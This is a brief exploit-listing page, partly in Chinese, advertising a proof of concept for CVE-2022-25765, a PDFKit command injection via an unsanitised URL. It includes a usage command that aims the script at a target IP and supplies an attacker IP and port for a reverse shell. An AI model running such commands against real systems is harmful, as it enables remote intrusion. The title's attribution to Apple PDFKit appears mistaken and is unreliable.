CVE-2022-25765 PoC — Apple PDFKit 安全漏洞

Description

Exploit for CVE-2022-25765

介绍

# CVE-2022-25765 Exploit
A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection

Example usage: `python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444`

This POC takes advantage of a Command Injection vulnerability where the URL is not properly sanitized. This exploit takes an attacker's IP and Port as paramaters to be used for a reverse shell. 

文件快照

备注